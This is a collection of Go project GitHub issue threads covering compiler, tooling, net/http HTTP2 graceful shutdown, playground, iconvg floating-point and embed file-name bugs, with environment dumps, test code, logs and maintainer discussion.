authors: bradfitz enocom euroelessar lbernail rs


text:
gccgo: erroneously accepts duplicate constant keys in map literal

Under Composite literals, the Go spec says "It is an error to specify multiple elements with the same field name or constant key value."
However, gccgo erroneously accepts this code:
package p

var _ = map[int]int{0: 0, 0: 0}

cmd/compile and go/types correctly emit an error.
/cc @ianlancetaylor

It looks this has been fixed for non-bool keys in the latest gccgo versions.
Duplicate bool keys are still allowed: https://github.com/golang/go/issues/35945

authors: dotaheor mdempsky


text:
x/tools/cmd/gopls: signatureHelp should return position info for signatures

What version of Go are you using (go version)?

$ go version
go version devel +385b2e0cac Fri May 24 21:34:53 2019 +0000 linux/amd64
$ go list -m golang.org/x/tools
golang.org/x/tools v0.0.0-20190521203540-521d6ed310dd

Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE="on"
GOARCH="amd64"
GOBIN="/home/myitcv/gostuff/src/github.com/myitcv/govim/cmd/govim/.bin"
GOCACHE="/home/myitcv/.cache/go-build"
GOENV="/home/myitcv/.config/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/myitcv/gostuff"
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/home/myitcv/gos"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/home/myitcv/gos/pkg/tool/linux_amd64"
GCCGO="gccgo"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/home/myitcv/gostuff/src/github.com/myitcv/govim/go.mod"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build579955727=/tmp/go-build -gno-record-gcc-switches"

The signature help call from client to server (https://github.com/Microsoft/language-server-protocol/blob/gh-pages/specification.md#signature-help-request-leftwards_arrow_with_hook) returns a list of signatures:
type SignatureHelp struct {
	Signatures []SignatureInformation `json:"signatures"`
	ActiveSignature float64 `json:"activeSignature"`
	ActiveParameter float64 `json:"activeParameter"`
}

type SignatureInformation struct {
	Label string `json:"label"`
	Documentation string `json:"documentation,omitempty"`
	Parameters []ParameterInformation `json:"parameters,omitempty"`
}

type ParameterInformation struct {
	Label string `json:"label"`
	Documentation string `json:"documentation,omitempty"`
}

But what's strange is that the signature information does not include position information, i.e. the start (and end, where it's valid/available) of where the call signature is valid: think the starting ( (to the end )).
This position information is valuable to my mind because it tells the client where to place, for example, a popup window.

cc @stamblerre @ianthehat

According to the LSP spec, the ParameterInformation struct can include position information instead of a label. If we used that, would it be enough to solve this problem?

Oh wow, I totally missed that comment, thanks.
Yes, if this is position information like other places in the spec, should be fine!

@pjweinb: Would it be possible for us to make this change in the protocol generator?

I'll look at it when I get back, but seems likely.
On Mon, Jun 10, 2019 at 6:23 PM Rebecca Stambler notifications@github.com
wrote:

@pjweinb https://github.com/pjweinb: Would it be possible for us to
make this change in the protocol generator?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/golang/go/issues/32468?email_source=notifications&email_token=ABJIAIZM2K4AYCQ5KC754ILPZ3H4XA5CNFSM4HVIA6Q2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODXLMV5Q#issuecomment-500615926,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABJIAI7FBDA2LK235VPDF7TPZ3H4XANCNFSM4HVIA6QQ
.

@stamblerre: could you add a [2]float64 field to ParameterInformation in lsp/source/signature_help.go? It does't matter what you name it, but once it exists (and gets filled in), we can change line 57 in signature_help.go to use the new field in place of p.Label.

@stamblerre @pjweinb - is there anything I can do to help move this along?

I'm sorry, this is a slightly lower priority issue for us right now. I will have to make the changes Peter requested before we can change the generator, but I haven't had a chance to get to this yet.

authors: myitcv pjweinb stamblerre


text:
x/tools/go/packages: could not import C (no metadata for C)

What version of Go are you using (go version)?

$ go version
go version go1.13.5 darwin/amd64

Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE=""
GOARCH="amd64"
GOBIN=""
GOCACHE="/Users/jayconrod/Library/Caches/go-build"
GOENV="/Users/jayconrod/Library/Application Support/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GONOPROXY=""
GONOSUMDB=""
GOOS="darwin"
GOPATH="/Users/jayconrod/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/opt/go/installed"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/opt/go/installed/pkg/tool/darwin_amd64"
GCCGO="gccgo"
AR="ar"
CC="clang"
CXX="clang++"
CGO_ENABLED="1"
GOMOD="/Users/jayconrod/Code/test/go.mod"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/rq/x0692kqj6ml8cvrhcqh5bswc008xj1/T/go-build071831140=/tmp/go-build -gno-record-gcc-switches -fno-common"

What did you do?
I tried to load a cgo package with golang.org/x/tools/go/packages.Load using the mode NeedName | NeedTypes | NeedImports | NeedDeps. See the testscript below.
go run load.go

-- go.mod --
module example.com/c

go 1.13

require golang.org/x/tools v0.0.0-20200107184032-11e9d9cc0042 // indirect
-- c.go --
package c

import "C"
-- load.go --
// +build ignore

package main

import (
	"fmt"
	"log"

	"golang.org/x/tools/go/packages"
)

func main() {
	cfg := &packages.Config{
		Mode: packages.NeedName | packages.NeedTypes | packages.NeedImports | packages.NeedDeps,
	}
	pkgs, err := packages.Load(cfg, "example.com/c")
	if err != nil {
		log.Fatal(err)
	}
	for _, pkg := range pkgs {
		fmt.Printf("package %s\n", pkg.PkgPath)
		for _, err := range pkg.Errors {
			fmt.Printf("\t%s\n", err)
		}
	}
}

What did you expect to see?
package example.com/c

(no errors reported)
What did you see instead?
package example.com/c
	/Users/jayconrod/Code/test/c.go:3:8: could not import C (no metadata for C)

This works when I add packages.NeedSyntax to the mode. For the tool I'm writing, I just need the types of exported definitions. I don't need to access the AST.
cc @matloob

I found the same error even with packages.NeedSyntax.

authors: hajimehoshi jayconrod


text:
http.Server.Shutdown doesn't gracefully shut down HTTP2 connections

What version of Go are you using (go version)?

$ go version
go version go1.13.7 darwin/amd64

Does this issue reproduce with the latest release?
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE=""
GOARCH="amd64"
GOBIN=""
GOCACHE="/Users/lszaszki/Library/Caches/go-build"
GOENV="/Users/lszaszki/Library/Application Support/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GONOPROXY=""
GONOSUMDB=""
GOOS="darwin"
GOPATH="/Users/lszaszki/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/usr/local/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/local/go/pkg/tool/darwin_amd64"
GCCGO="gccgo"
AR="ar"
CC="clang"
CXX="clang++"
CGO_ENABLED="1"
GOMOD=""
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/4x/d8vbcg5s6lx229_q7l5wbw0h0000gn/T/go-build581125651=/tmp/go-build -gno-record-gcc-switches -fno-common"

What did you do?
I have wrriten a simple unit test that sets up an HTTP2 connection between components (client -> server/proxy -> backend), sends a few requests and shuts down the backend server as soon as the last request arrives at the server. You may also want to take a look at a simplified version of that test written by my colleague that exhibits the same behavior
I have analyzed net/http package and here's what I have found out.
On calling http.server.Shutdown() the server will be closed immediately because the connection is in StateNew (not in StateActive). In general net/http package manages connection states and provides a hook (ConnState) for reporting connections state. For HTTP 1.x it will transition the connection to StateActive as soon as it reads any byte on the wire. For HTTP 2.x h2_bundle.go will transition the connection to StateActive once there is more than one active stream. But the issue here is that ConnState hook is not wired. At least I haven’t found the wiring. So the server doesn’t know the current state of the connection.
I have changed net/http2 so that it provides a default ConnState method. It is used by the HTTP2 implementation to report back the connection state. With this modification, my test takes ~60 seconds. The server waits until all requests complete before shutting down and all requests complete with success (HTTP 200).

What did you expect to see?
According to the documentation, the Shutdown method must wait indefinitely for active connections to return to the idle state and only then shut down the server. In that case, I would expect all requests to complete with success (HTTP 200) and to test take at least 60 seconds because each request simulates work by sleeping for that duration.
What did you see instead?
My test ended after ~6 seconds, all requests failed (HTTP 503) with 'http2: server sent GOAWAY and closed the connection; LastStreamID=49, ErrCode=NO_ERROR, debug=""' error.

/cc @tkashem @sttts

cc @fraenkel

From what I can tell of the test case, the current behavior is correct.
2020/06/24 08:07:52 handler: start, path=/1
2020/06/24 08:07:52 handler: callback being invoked, path=/1
2020/06/24 08:08:02 http2: Framer 0xc000174460: wrote GOAWAY len=8 LastStreamID=3 ErrCode=NO_ERROR Debug=""
2020/06/24 08:08:02 http2: Transport readFrame error on conn 0xc000082a80: (*errors.errorString) EOF
2020/06/24 08:08:02 secureServer.Serve returned - http: Server closed
2020/06/24 08:08:02 shutdown completed, it took 677.722µs
2020/06/24 08:08:02 RoundTrip failure: unexpected EOF
2020/06/24 08:08:02 client call ended
2020/06/24 08:08:02 server has been shutdown
2020/06/24 08:08:12 handler: done, path=/1
2020/06/24 08:08:12 test end
--- FAIL: TestHTTP2GracefulShutdown (27.01s)
    issue_test.go:125: status code: 200 body
    issue_test.go:117: Get "https://localhost:34151/1": unexpected EOF

You started a request and called shutdown in the middle. The server reported that this connection will no longer accept any new streams (GOAWAY). The client closed the connection (readFrame EOF).
http2 has a different shutdown behavior which isn't documented anywhere. It is similar but it won't wait forever.

@fraenkel thanks for your response. Could you please check one more time?
I think that my test sends 25 requests, each waits for 60 seconds in the handler (after reaching the server) and only then it starts shutting down the server (not in the middle). I consider these requests to be active, being processed.
Actually net/http2 library promises to not close a connection until all current streams are done.
// startGracefulShutdown gracefully shuts down a connection. This
// sends GOAWAY with ErrCodeNo to tell the client we're gracefully
// shutting down. The connection isn't closed until all current
// streams are done.
//
// startGracefulShutdown returns immediately; it does not wait until
// the connection has shut down.
func (sc *http2serverConn) startGracefulShutdown() {

https://github.com/golang/go/blob/master/src/net/http/h2_bundle.go#L4862

Hi @fraenkel The client does not seem to receive a GOAWAY frame since it gets closed prematurely. I have put some logs below without and with the ConnState wiring. Can you please verify if this makes sense? Thank you for your time!
We designed a test to simulate a scenario where the server has an active request, its handler is executing while the server
is gracefully shutting down. The handler looks like this:
func(w http.ResponseWriter, r *http.Request) {
		<-time.After(10 * time.Second)
		close(waitCh)
		<-time.After(10 * time.Second)
	}

We kick off Graceful shutdown as soon as waitCh is closed
func() {
	<-waitCh

	ctx, cancel := context.WithTimeout(context.Background(), 10 * time.Second )
	server.Shutdown(ctx)
	cancel()
}

The following events take place when we run the test:
T+0s  E1: client sends a request to te server
2020-06-24 16:12:48.080517 I | http2: Framer 0xc0001881c0: wrote HEADERS flags=END_STREAM|END_HEADERS stream=3 len=9

T+0s  E2: the server receives the request and starts executing the handler.
2020-06-24 16:12:48.080901 I | http2: server read frame HEADERS flags=END_STREAM|END_HEADERS stream=3 len=9

T+10s:  the following happens:

server.Shutdown(ctx) is invoked

E3: kick off http2 graceful termination - go serverInternalState.startGracefulShutdown (it runs asynchronously)
E4: close the connection if it is idle, inside closeIdleConns of http.Server.

E4 is where things go wrong, as @p0lyn0mial has explained above, ConnState hook is not wired and so the connection
is always in StateNew state and it gets closed prematurely by closeIdleConns.
the http2 server connection handles graceful termination in the following manner from serverConn.serve:

send a GOAWAY frame.
wait for all active streams to complete.
wait for goAwayTimeout=1s, end server connection loop and close the connection

The graceful termination process in http2 server connection serverConn.serve does not have a chance to complete
gracefully since http Server.Shutdown prematurely closes the connection.
We have added logs to net/http closeIdleConns to understand what's going on. Below we see that Server.Shutdown
prematurely closes the connection.
2020-06-24 16:19:03.144643 I | http server: calling closeIdleConns
2020-06-24 16:19:03.144676 I | setting connection to idle
2020-06-24 16:19:03.144683 I | http server: closing idle connection - state=2 seconds=1593029927
2020-06-24 16:19:03.144705 I | server: starting graceful shutdown to 127.0.0.1:38708 (this log is from `serverConn.serve`)

The client on the other hand encounters an EOF error before it receives a GOAWAY frame
2020-06-24 16:19:03.144747 I | http2: Transport readFrame error on conn 0xc000103980: (*errors.errorString) EOF

If we wire ConnState, the connection state transitions to StateActive and does not get closed prematurely. The http2
graceful termination completes as expected. Here is the log:
Below we can see that the server sends a GOAWAY frame and the client receives it.
2020-06-24 16:45:57.371335 I | http2: Framer 0xc000322000: wrote GOAWAY len=8 LastStreamID=3 ErrCode=NO_ERROR Debug=""
2020-06-24 16:45:57.371528 I | http2: Framer 0xc0004021c0: read GOAWAY len=8 LastStreamID=3 ErrCode=NO_ERROR Debug=""
2020-06-24 16:45:57.371565 I | http2: Transport received GOAWAY len=8 LastStreamID=3 ErrCode=NO_ERROR Debug=""

The active stream is completed, the client gets a HTTP 200 as expected by the test, and the server fires a GOAWAY close timer and the connection gets closed gracefully.
2020-06-24 16:46:08.371636 I | GOAWAY close timer fired; closing conn from 127.0.0.1:60622
2020-06-24 16:46:08.371665 I | http2: server connection loop closing 127.0.0.1:60622 on 0xc0002ea380
2020-06-24 16:46:08.371760 I | http2: Transport readFrame error on conn 0xc000001980: (*errors.errorString) EOF

I am using the simplified test above rather than yours from k8s.
Please verify that the ConnState is actually NEW because http2serverConn.serve will set the ConnState to Active then Idle and eventually Active.

@fraenkel  I wrote a test that doesn't use k8s, PTAL https://github.com/p0lyn0mial/kubernetes/commit/81314a22bd9ccc6fe55f976c97d38fd21539ff01
@fraenkel  http2serverConn should set the ConnState to Active here https://github.com/golang/go/blob/master/src/net/http/h2_bundle.go#L5539 but our point is that it's not wired and doesn't have any effect. On Shutdown the server doesn't know the current state of the connection and closes it prematurely. The server thinks that the connection is StateNew whereas it should be in StateActive.

Hi @fraenkel @p0lyn0mial I have copy pasted the non k8s test below for reference.
func TestHTTP2GracefulShutdown(t *testing.T) {
	callbacks := map[string]http.HandlerFunc{}
	handler := func(w http.ResponseWriter, req *http.Request) {
		path := req.URL.Path
		callback, ok := callbacks[path]
		if ok && callback != nil {
			callback(w, req)
		}

		w.WriteHeader(http.StatusOK)
	}

	waitCh := make(chan struct{})
	callbacks["/request-1"] = func(w http.ResponseWriter, r *http.Request) {
		<-time.After(10 * time.Second)
		close(waitCh)
		<-time.After(10 * time.Second)
	}

	server := httptest.NewUnstartedServer(http.HandlerFunc(handler))
	server.EnableHTTP2 = true
	server.StartTLS()
	defer server.Close()

	var shutdownComplete = make(chan struct{})
	shutdown := func() {
		<-waitCh
		ctx, cancel := context.WithTimeout(context.Background(), 20 * time.Second )
		server.Config.Shutdown(ctx)

		close(shutdownComplete)
		cancel()
	}

	call := func(wg *sync.WaitGroup, server *httptest.Server, path string) {
		if wg != nil {
			defer wg.Done()
		}

		client := server.Client()
		resp, err := client.Get(fmt.Sprintf("%s/%s", server.URL, path))
		if err != nil {
			t.Fatalf("request failed, path=%s - %v", path, err)
		}

		defer resp.Body.Close()
		body, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			t.Fatalf("failed to read body, path=%s - %v", path, err)
		}
		t.Logf("status code: %v body %s", resp.StatusCode, body)

		if resp.StatusCode != 200 {
			t.Errorf("unexpected HTTP staus for request, path=%s: %v, expected: 200", path, resp.StatusCode)
		}
	}

	defer server.Close()
	go shutdown()

	// make one call just to set things in motion and wait for some time
	call(nil, server, "request-0")
	<-time.After(10 * time.Second)

	wg := sync.WaitGroup{}
	wg.Add(1)
	go call(&wg, server, "request-1")

	wg.Wait()
	<-shutdownComplete
}

You are correct. The connection state is not being managed properly. I haven't quite figured out a good way to fix this yet.

I do have a proper solution for this but its not backward compatible. This issue is that the http server sees the connection as New or Closed, the http2 server doesn't really care but fires ConnState events. A hook registered on the http server, sees the combined state events.
Shutdown looks for idle connections, and will see http2 connections as new and will pretty much kill them even when active.
One solution is to mark connections Active prior to calling any non-http handler. This would work except the httptest hook, doesn't like Active->Active transitions because the http2 server will fire an Active, Idle transition. Removing the Active event makes things work. This of course breaks backward compatibility given how the code is delivered.

I have something that will work but I don't quite care for it. I will send it once I simplify the test case.

@fraenkel I took a look at your patch. The solution is to mark the connections as Active before calling the handler. Could you point me to the code that will mark the connections back to Idle state once finished?

They are never marked idle. They are marked closed.
Do not confuse the fact that http/2 marks streams as idle and active. This detail flows to the ConnState hook but never to the http/1 side.

CL comment should also reference #36946

@fraenkel I see, it will transition to StateClosed once the graceful shutdown is completed. Many thanks for explaining and providing the fix.

@fraenkel do you know if the fix will be back ported?

I don't make the calls on back ports but this does qualify since it does not behave as documented and there is no workaround.

Is this in stdlib or x/? Things in x/ don't need backports, since you can import the latest version.

cc @toothrot this needs milestone 1.15 or 1.16 and should be retitled "net/http: ..."
Also needs backport to 1.13/14.

@gopherbot please backport to 1.13 & 1.14. Per @fraenkel this does not behave as documented and there is no workaround.

/cc @bradfitz as the http package owner.

/cc @bcmills @neild

@fraenkel I think this needs backports for impending minor releases of 1.13 & 1.14.

@networkimprov the fix has yet to be approved

Any idea why? Is it a "risky" fix?

After updating to go 1.15, I was wondering, why my tests failed. I thought, there was a backwards incompatible change and I found this issue. If someone else finds this issue for the same reason, here is the solution.
Change the following lines
if err := srv.ListenAndServeTLS(cert, key); err!=nil {
	...
}

to this
if err := srv.ListenAndServeTLS(cert, key); err!=http.ErrServerClosed {
	...
}

This is documented here: https://golang.org/pkg/net/http/#Server.Shutdown
Maybe it would be helpful to mention this in the go 1.15 release notes. Even when the old behavior was a bug and bugs are not guarded by the go 1 promise, it is a backwards incompatible change between go 1.14 and go 1.15

@ostcar that's not related to this issue. Could you open a new issue to request a release-notes fix?

The backport issues were closed. Once fixed, new backport issues should be manually posted for 1.15 & 1.14.
cc @odeke-em in case he could review the CL.

SGTM, thank you @networkimprov for the tag and the triage gardening, I’ll
take a look later today.
On Thu, Sep 3, 2020 at 2:32 PM Liam notifications@github.com wrote:

The backport issues were closed. Once fixed, new backport issues should be
manually posted for 1.15 & 1.14.
cc @odeke-em https://github.com/odeke-em in case he could review the CL.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/golang/go/issues/39776#issuecomment-686775217, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ABFL3V533GNLYH3MUMGUQKLSEADOFANCNFSM4OFNVDXQ
.

@dmitshur @toothrot pls evaluate for backport :-)

authors: cagedmantis fraenkel networkimprov odeke-em ostcar p0lyn0mial tkashem toothrot


text:
cmd/go: 'get -d' failing on modules with only a build-ignored Go file in their root directory

#!/bin/bash

docker run -i golang:1.15beta1 <<-SCRIPT

        set -ex

        go version
        go env

        mkdir /tmp/foo
        cd /tmp/foo
        go mod init test

        go get -d google.golang.org/protobuf || cat go.mod

SCRIPT

This fails:
+ go mod init test
go: creating new go.mod: module test
+ go get -d google.golang.org/protobuf
go: downloading google.golang.org/protobuf v1.25.0
go: google.golang.org/protobuf upgrade => v1.25.0
go get google.golang.org/protobuf: no Go source files
+ cat go.mod
module test

go 1.15

Happens on my local go version devel +4f2a2d7e26 Wed Jul 8 22:16:24 2020 +0000 linux/amd64 too.
Note the build-ignored test file at the root of the module: https://github.com/protocolbuffers/protobuf-go/blob/e14d6b3cdce27a8743907161e84fa6d07e30266d/integration_test.go
The script above succeeds if I use a module that has no Go files at its root, such as mvdan.cc/sh/v3. For the time being, I've worked around the issue by manually editing go.mod, and then go mod tidy ensures it's OK and updates go.sum.
This seems like a pretty straightforward bug, and I'm surprised it hasn't surfaced before, but I couldn't find a previous issue. Happy to attempt a fix if the bug can be confirmed - in that case, pointers for the fix would be appreciated. CC @jayconrod @bcmills @matloob

I think #33526 is a duplicate of this issue, though the situation you describe seems more serious. I left a comment on that issue and milestoned it for 1.16.

Thanks, that makes sense! I tried to find that existing bug, but failed :)

authors: jayconrod mvdan


text:
x/playground: cannot restore code selected and deleted by pressing tab

What version of Go are you using (go version)?
The playground uses the latest stable release of Go.
The current version is go1.14.7.
Web browser and operating system
The latest Chrome, Windows 10
What operating system and processor architecture are you using (go env)?
That running on https://play.golang.org/.
How to reproduce a bug?
Select any part of text and click Tab key. Code disappear, cannot undo changes.
What did you expect to do?
Got my code back.
What did you see instead?
Nothing 😅

Interesting. If you select some code and delete it by pressing backspace, canc, or any letter/number, you can get it back by pressing Ctrl+z, but if you delete it by pressing Tab, Ctrl+z doesn't work.

@ALTree I found the cause of that issue. Playground have bug in custom tab handle that erase selected code and replace it with "\t" programmatically in way that doesn't support native undo support.
Please help me to make pull request, I really would like to contribute into this project.
    //playground.js
    function insertTabs(n) {
      // find the selection start and end
      var start = code[0].selectionStart;
      var end   = code[0].selectionEnd;
      // split the textarea content into two, and insert n tabs
      var v = code[0].value;
      var u = v.substr(0, start);
      for (var i=0; i<n; i++) {
        u += "\t";
      }
      u += v.substr(end);
      // set revised content
      code[0].value = u; <-- this is cause of the bug
      // reset caret position after inserted tabs
      code[0].selectionStart = start+n;
      code[0].selectionEnd = start+n;
    }

I create solutions for this bug that seems work on Chrome and Firefox.
Simply replace line code[0].value =u with this snippet of code:
field = code[0]
let document = field.ownerDocument;

if (!document.execCommand('insertText', false, u)) {
    //firefox only
	field.setRangeText(
		u,
		start || 0,
		end || 0,
		'end'
	);

	field.dispatchEvent(new InputEvent('input', {
		data: u,
		inputType: 'insertText',
		isComposing: false
	}));
}

Feel free to send a PR. playground.js Should be the one here: https://github.com/golang/website/tree/master/content/static.

@ALTree I made pull-request https://github.com/golang/website/pull/13
Thanks :)

Just ran into this and lost some work, super obnoxious bug. Any progress on fixing this?

Just ran into this and lost some work, super obnoxious bug. Any progress on fixing this?

Use this goplay.tools
I fixed that issue, unfortunately it hasn't been merged because I've used execCommand which is described as obsolete in Mozilla documentation. I didn't find any other solutions to fix that on others browsers Blink/Webkit based without reimplementing code editor. The case here is to invoke native edit event to maintain textbook capabilities like undo, redo etc.

Bumping, just ran into this myself. very annoying

authors: ALTree ProximaB distinctdan fossegrim


text:
x/exp/shiny/iconvg: TestEncodeElliptical failing on darwin-arm64-11_0-toothrot builder

2020-12-15T15:35:30-b5a6e24/darwin-arm64-11_0-toothrot
--- FAIL: TestEncodeElliptical (0.00s)
    encode_test.go:48:
        got  88 bytes:
        89 49 56 47 00 98 02 8a ca 00 0a 4a ae af aa aa bc bd 0a ac 03 00 00 b2 ab 8b 88 08 3d aa 00 b9 a0 87 4b af 00 87 03 af 02 00 40 c0 40 40 e6 c0 e8 c0 e6 40 e1 80 7c c0 56 6c 02 58 6a 5a 6c 58 6e e1 c0 56 9c 02 58 9a 5a 9c 58 9e e1 c0 92 8a 02 94 88 96 8a 94 8c e1
        want 85 bytes:
        89 49 56 47 00 98 02 8a ca 00 0a 4a ae af aa aa bc bd 0a ac 00 ab 8b 88 08 3d aa 00 b9 a0 87 4b af 00 87 03 af 02 00 40 c0 40 40 e6 c0 e8 c0 e6 40 e1 80 7c c0 56 6c 02 58 6a 5a 6c 58 6e e1 c0 56 9c 02 58 9a 5a 9c 58 9e e1 c0 92 8a 02 94 88 96 8a 94 8c e1
FAIL
FAIL	golang.org/x/exp/shiny/iconvg	0.953s

CC @golang/release @nigeltao @cherrymui

Same error on linux/arm64 (which doesn't seem to x/exp tests on the dashboard).
Without looking into the detail, my guess is that it has something to do with how floating points are handled on different architectures. I'll look into it.

With some manual decoding, it in the end boils down to this line (https://go.googlesource.com/exp/+/refs/heads/master/shiny/iconvg/encode.go#419)
mc := -ma*cx - mb*cy

On AMD64 it results in
mc=-(-0.020833334)*(-20)-(0.041666668)*(-10)=0

On ARM64,
mc=-(-0.020833334)*(-20)-(0.041666668)*(-10)=-7.450581e-09

which leads to different encoding.
On ARM64, it generates
v5  00004 (+13) FMOVS "".ma(SB), F0
v8  00005 (13) FMOVS "".cx(SB), F1
v9  00006 (13) FNMULS F1, F0, F0
v11 00007 (13) FMOVS "".mb(SB), F1
v13 00008 (13) FMOVS "".cy(SB), F2
v15 00009 (13) FMSUBS F1, F0, F2, F0

with a fused multiply-sub instruction.
If we add explicit rounding to prevent fused operations,
mc := -float32(ma*cx) - float32(mb*cy)

then it passes on ARM64.
Without the explicit rounding, I think it is allowed by the spec for the compiler to generate fused instructions, which will result in slightly different values. So, maybe the test shouldn't test exact values for floating points, or, if it really wants to, add the explicit rounding.

Thanks for investigating Cherry.
The test expects byte-identical encoding, which we now see isn't going to be the case across architectures.
Package iconvg documentation states:

It is a format for efficient presentation, not an authoring format. [...] It is not a pixel-exact format. Different implementations may produce slightly different renderings, due to implementation-specific rounding errors in the mathematical computations when rasterizing vector paths to pixels.

If I understand correctly, that would also mean it's not a goal for iconvg to try to guarantee byte-exact encoding across architectures, and so the the test should be updated. Please let me know if this logic is mistaken. CC @nigeltao.

I understand that should imply that it's not a goal for iconvg to try to guarantee byte-exact encoding across architectures,

Decoding (from IconVG to pixels) is not expected to be byte-exact (or RGBA-exact), as there are multiple vector rasterization algorithms of varying speed-quality trade-offs.
However, when encoding (to IconVG), I would prefer that e.g. a "convert SVG to IconVG" tool had identical output for identical SVG input, regardless of the GOARCH. I would prefer an explicit
mc := -float32(ma*cx) - float32(mb*cy)

together with a comment similar to https://github.com/golang/image/blob/35266b937fa69456d24ed72a04d75eb6857f7d52/vector/raster_floating.go#L58-L68
I'm not confident in making the CL myself, since I don't have easy access to an ARM64 system right now to make sure that all the broken tests would be fixed, but I'm happy to review a CL.

@nigeltao Sounds good, thanks for feedback. I’ll send a CL that documents that goal and fix the implementation accordingly.

when encoding (to IconVG), I would prefer that e.g. a "convert SVG to IconVG" tool had identical output for identical SVG input, regardless of the GOARCH.

That said, I do want to ask, how much confidence can we have in our ability to achieve and maintain this goal in the general case (that is, for all specification-compliant Go implementations, including compilers other than gc)?
Considering the room the Go specification leaves to implementation (e.g., "In all non-constant conversions involving floating-point or complex values, if the result type cannot represent the value the conversion succeeds but the result value is implementation-dependent.") and various articles like https://randomascii.wordpress.com/2013/07/16/floating-point-determinism/, https://gafferongames.com/post/floating_point_determinism/, I haven't been able to convince myself that floating-point determinism can be achieved reliably in a forward-compatible way.
I think there's no harm to try it for now, and change the approach in the future if enough evidence proves that it isn't sustainable to guarantee the property that IconVG encoding (which involves floating-point computations) is completely deterministic. But I wanted to ask in case you have thought about this topic too.

I'll defer to @cherrymui re Go floating-point determinism and FMA, as I think it's more of a Go compiler question than an x/exp/shiny or x/image/vector question.
I agree to try it for now and reconsider if it's not working.

authors: bcmills cherrymui dmitshur nigeltao


text:
embed: not support | or full-width symbol file name

What version of Go are you using (go version)?

$ go version
go version go1.16 linux/amd64

Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE="off"
GOARCH="amd64"
GOBIN="/root/go/bin"
GOCACHE="/root/.cache/go-build"
GOENV="/root/.config/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOINSECURE=""
GOMODCACHE="/root/go/pkg/mod"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/root/go"
GOPRIVATE=""
GOPROXY="https://goproxy.io"
GOROOT="/usr/local/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/local/go/pkg/tool/linux_amd64"
GOVCS=""
GOVERSION="go1.16"
GCCGO="gccgo"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD=""
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build162353995=/tmp/go-build -gno-record-gcc-switches"

What did you do?
my directory test tree is:
├── 00|00.test
└── test

0 directories, 2 files

but the fs.ReadDir() only returns single file: test.
the code is:
//go:embed test
var efs embed.FS

func main() {
    efps, _ := efs.ReadDir("test")
    for _, efp := range efps {
        fmt.Println(efp.Name())
    }
}

What did you expect to see?
like os.ReadDir(), want two files return(return all files).
What did you see instead?
Just return single file: test.

it seems like the | can not pass the function isBadEmbedName

I edit the source code of go in src/cmd/go/internal/load/pkg.go.I comment the logic module.CheckFilePath() in isBadEmbedName function line 2095-2097 and it works~
But I think it's not  appropriatly.

@rsc Are there any way to support some special symbol by appropriate way?

@Mrliu8023
Is there any reason that the name of the directory has to be 00|00.test? To me, a name like, e.g. 00_00.test seems to be just as useful and less obscure.

The go command correctly reports an error for this file, but we should improve the error message and the embed documentation to explain why.
Currently the documentation says:

Patterns must not match files outside the package's module, such as ‘.git/*’ or symbolic links. Matches for empty directories are ignored. After that, each pattern in a //go:embed line must match at least one file or non-empty directory.

A file named 00|00.test cannot be included in a module because it contains characters that are meaningful to the shell. That's what module.CheckFilePath is checking. Its documentation explains the restrictions.

